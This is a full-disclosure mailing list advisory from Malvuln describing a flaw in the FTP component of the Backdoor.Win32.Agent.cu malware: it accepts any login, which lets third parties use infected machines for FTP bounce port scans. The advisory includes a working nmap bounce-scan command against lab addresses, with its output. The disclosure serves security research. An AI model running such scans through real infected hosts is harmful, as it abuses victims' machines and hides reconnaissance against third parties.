full-disclosure - [FD] Backdoor.Win32.Agent.cu / Port Bounce Scan (MITM)

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Message-ID: <CAAHK0WSw7hEKtxnjJN2VWsPyjFhL65pThDCn3eVP1GV7ZTQPoQ@mail.gmail.com>
Date: Mon, 26 Jul 2021 08:29:17 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.cu / Port Bounce Scan (MITM)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cu
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP ports 10426, 56185, its FTP
component accepts any username/password credentials. Third-party attackers
who successfully logon can abuse the backdoor FTP server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks using
Nmap. This vulnerability allows remote attackers to abuse your system and
discreetly conduct network port scanning. Victims will then think these
scans are originating from the infected system running the afflicted
malware FTP Server and not you.
Type: PE32
MD5: ce1963d3fd6a8e1383aac40a1f1c4107
Vuln ID: MVID-2021-0304
Dropped files: MsgNet32.exe
Disclosure: 07/26/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@....168.18.129:56185 -p21,22,80  192.168.18.131
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-22 19:50 Pacific
Daylight Time
Nmap scan report for 192.168.18.131
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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